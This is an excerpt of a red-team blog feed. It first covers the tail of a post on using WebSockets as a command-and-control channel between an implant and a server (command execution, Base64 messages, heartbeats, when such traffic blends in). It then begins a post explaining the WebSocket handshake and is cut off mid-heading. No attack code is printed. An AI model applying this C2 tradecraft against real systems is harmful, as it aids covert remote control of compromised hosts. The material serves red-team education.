https://substackcdn.com/image/fetch/$s_!0_mD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!0_mD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1522437d-9e77-45bf-89dd-996e5ad3ec14_1582x240.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Implant sends an intro message to the server via WebSocket </figcaption></figure></div><p>In response, server sends an <code>ack</code> message along with a custom message.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!byqZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!byqZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg 424w, https://substackcdn.com/image/fetch/$s_!byqZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg 848w, https://substackcdn.com/image/fetch/$s_!byqZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!byqZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!byqZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg" width="1456" height="181" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:181,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:48716,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!byqZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg 424w, https://substackcdn.com/image/fetch/$s_!byqZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg 848w, https://substackcdn.com/image/fetch/$s_!byqZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!byqZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F11f5f6f6-9053-4cba-8dd0-bf1356fed23c_1590x198.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Server sends an ack message to the implant via WebSocket</figcaption></figure></div><p>Post this, the server and the implant communicate via Base64 encoded messages.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8hpo!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8hpo!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg 424w, https://substackcdn.com/image/fetch/$s_!8hpo!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg 848w, https://substackcdn.com/image/fetch/$s_!8hpo!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!8hpo!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8hpo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg" width="1456" height="255" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:255,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:59669,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8hpo!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg 424w, https://substackcdn.com/image/fetch/$s_!8hpo!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg 848w, https://substackcdn.com/image/fetch/$s_!8hpo!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!8hpo!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff383e977-d83e-4039-b03a-1d1011fdc8df_1582x277.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Server sends a command to the implant</figcaption></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!axeV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!axeV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg 424w, https://substackcdn.com/image/fetch/$s_!axeV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg 848w, https://substackcdn.com/image/fetch/$s_!axeV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!axeV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!axeV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg" width="1456" height="308" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:308,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:63203,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!axeV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg 424w, https://substackcdn.com/image/fetch/$s_!axeV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg 848w, https://substackcdn.com/image/fetch/$s_!axeV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!axeV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa7b50d55-8310-4257-b1a7-3c7e3a2bdae6_1591x337.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Implant executes the command and sends output to the server</figcaption></figure></div><p>The implant also sends a periodic heartbeat to the server. The default interval is 10 seconds but can be customized using <code>--beacon </code>flag.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lmaZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lmaZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg 424w, https://substackcdn.com/image/fetch/$s_!lmaZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg 848w, https://substackcdn.com/image/fetch/$s_!lmaZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!lmaZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lmaZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg" width="1456" height="259" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:259,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:66447,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/174041507?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!lmaZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg 424w, https://substackcdn.com/image/fetch/$s_!lmaZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg 848w, https://substackcdn.com/image/fetch/$s_!lmaZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!lmaZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe5c0fe44-5006-4fdd-a03d-92c94ea69d89_1587x282.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Implant sends a periodic heartbeat to the server</figcaption></figure></div><p>The code for this PoC is available in <a href="https://github.com/100daysofredteam/WebSockets-C2-PoC/tree/main">100 Days of Red Team GitHub repository</a>.</p><p>So, now that we know that WebSockets can work for C2 communications, the question is, should a red team actually use them? And if so, when does it makes sense to leverage them?</p><p>Before I answer these questions, lets understand why using WebSockets as a C2 communication channel may not make sense:</p><ul><li><p>A long-lived WebSocket connection is a dead give away. As an alternative, WebSocket connections could be broken and re-established periodically. But then why not just leverage HTTP / HTTPS!</p></li><li><p>WebSockets are stateful connections (unlike HTTP / HTTPS). If the red team is dealing with multiple implants, this may put unnecessary load on the server resources and can pose scalability issues.</p></li><li><p>WebSocket handshake/upgrade can be more easily fingerprinted. Defenders can write signatures for suspicious ws/wss traffic.  </p></li><li><p>Classic C2 frameworks put a lot of effort into fallback transports (HTTP(S) &#8596; DNS &#8596; SMB &#8596; named pipes, etc.) and multi-stage staging to traverse different environments. HTTP(S) request/response maps naturally to these fallbacks. WebSockets are not as easy to downgrade to other transports without reengineering the agent.</p></li><li><p>WebSockets give true duplex channels and lower latency which is useful for interactive UIs. The communication between the C2 server and an implant is rarely real-time, making it impractical for most C2 related use cases.</p></li></ul><p>When does it make sense to leverage WebSockets for C2 communications?</p><ul><li><p>When low latency interactive shells or live remote desktop-style streams are required. They can benefit from the reliability provided by persistent duplex channels.</p></li><li><p>When the target is already using WebSockets frequently within their internal network then C2 related WebSocket connections can easily blend in (specially with wss).</p></li><li><p>If the implant runs inside a browser (e.g., script in a compromised web app).</p></li></ul><p>To learn more about WebSockets, check out the <a href="https://websocket.org/">official WebSockets website</a>.</p><pre><code><strong>TL;DR
</strong>- WebSockets can be used for communication between a C2 server and implant as demonstrated by the absolutely basic Proof of Concept (PoC) of a miniature command and control (C2).
- Characterstics like long-lived WebSocket connections, WebSocket Handshake, statefulness may make WebSockets an immpractical choice for most red team ops.
- They can be leveraged in scenarios where low latency access is required or if the target environment is already leveraging WebSockets heavily within its network.  </code></pre><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[WebSockets handshake for red team professionals]]></title><description><![CDATA[A simple guide to understanding the WebSocket handshake and how red teams can leverage it.]]></description><link>https://www.100daysofredteam.com/p/websockets-handshake-for-red-teams</link><guid isPermaLink="false">https://www.100daysofredteam.com/p/websockets-handshake-for-red-teams</guid><dc:creator><![CDATA[Uday Mittal]]></dc:creator><pubDate>Wed, 17 Sep 2025 18:24:44 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/47428ce5-9eb7-4ca7-be9c-bc8e08f68d19_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A <a href="https://websocket.org/">WebSocket</a> is a full-duplex, persistent connection between a client (usually a browser) and a server, used to exchange messages with low latency. Unlike <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Messages">HTTP&#8217;s request/response model</a>, a WebSocket connection allows both endpoints to send data anytime after the connection is established. The connection is negotiated starting from a normal HTTP (or HTTPS) request called the <em><a href="https://websocket.org/guides/websocket-protocol/#http11-upgrade-handshake">handshake</a></em>. Understanding the handshake is critical because it&#8217;s where the protocol transitions and where adversaries can intercept, manipulate, or abuse connections.</p><h3>The WebSocket handshake</h3><p>The handshake is an HTTP Upgrade dance that upgrades an HTTP(S) connection to the WebSocket protocol (<a href="https://datatracker.ietf.org/doc/html/rfc6455">RFC 6455</a>). Key steps performed during the handshake are as follows:</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.100daysofredteam.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading 100 Days of Red Team! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p><a href="https://yks.red/Join100DaysOfRedTeamOnWhatsApp">Follow my journey of 100 Days of Red Team on WhatsApp</a>, <a href="https://t.me/l00DaysofRedTeam">Telegram</a> or <a href="https://yks.red/discord">Discord</a>.</p><ol><li><p><strong>Client initiates with an HTTP GET request</strong></p><ul><li><p>The client sends a GET request to the server containing following special headers:</p><ul><li><p><code>Upgrade: websocket</code></p></li><li><p><code>Connection: Upgrade</code></p></li><li><p><code>Sec-WebSocket-Key: &lt;random-base64&gt;</code> &#8212; a nonce</p></li><li><p><code>Sec-WebSocket-Version: 13</code></p></li><li><p>Optional: <code>Sec-WebSocket-Protocol: &lt;subprotocol&gt;</code> and <code>Origin: &lt;origin&gt;</code></p></li></ul></li></ul></li><li><p><strong>Server responds with HTTP 101 Switching Protocols response</strong></p><ul><li><p>If the server accepts, it responds with following headers:</p><ul><li><p><code>HTTP/1.1 101 Switching Protocols</code></p></li><li><p><code>Upgrade: websocket</code></p></li><li><p><code>Connection: Upgrade</code></p></li><li><p><code>Sec-WebSocket-Accept: &lt;base64-sha1-of-key+GUID&gt;</code></p></li><li><p>Optionally echoes a chosen subprotocol in <code>Sec-WebSocket-Protocol</code>.</p></li></ul></li><li><p>The <code>Sec-WebSocket-Accept</code> is <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Sec-WebSocket-Accept">computed as</a>:</p><ul><li><p>Concatenate the client <code>Sec-WebSocket-Key</code> (raw value) and the GUID <code>258EAFA5-E914-47DA-95CA-C5AB0DC85B11</code>.</p></li><li><p>Compute SHA-1 over that string.</p></li><li><p>Base64-encode the SHA-1 digest. </p></li></ul></li></ul></li><li><p><strong>Connection moves to binary framing</strong></p><ul><li><p>After the 101 response, the TCP connection switches from textual HTTP to <a href="https://websocket.org/guides/websocket-protocol/#data-framing">WebSocket frames</a>. Frames have an opcode, length, masking bits (clients must mask), and payload. </p></li></ul></li></ol><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!P6XW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!P6XW!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png 424w, https://substackcdn.com/image/fetch/$s_!P6XW!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png 848w, https://substackcdn.com/image/fetch/$s_!P6XW!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png 1272w, https://substackcdn.com/image/fetch/$s_!P6XW!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!P6XW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png" width="1208" height="342" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:342,&quot;width&quot;:1208,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:71221,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.100daysofredteam.com/i/173869543?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!P6XW!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png 424w, https://substackcdn.com/image/fetch/$s_!P6XW!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png 848w, https://substackcdn.com/image/fetch/$s_!P6XW!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png 1272w, https://substackcdn.com/image/fetch/$s_!P6XW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8aaf8deb-fa02-4534-8ab3-7bb30b5969f0_1208x342.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">WebSocket Handshake as captured via Burp Suite</figcaption></figure></div><h3>How red teams can leverage WebSocket 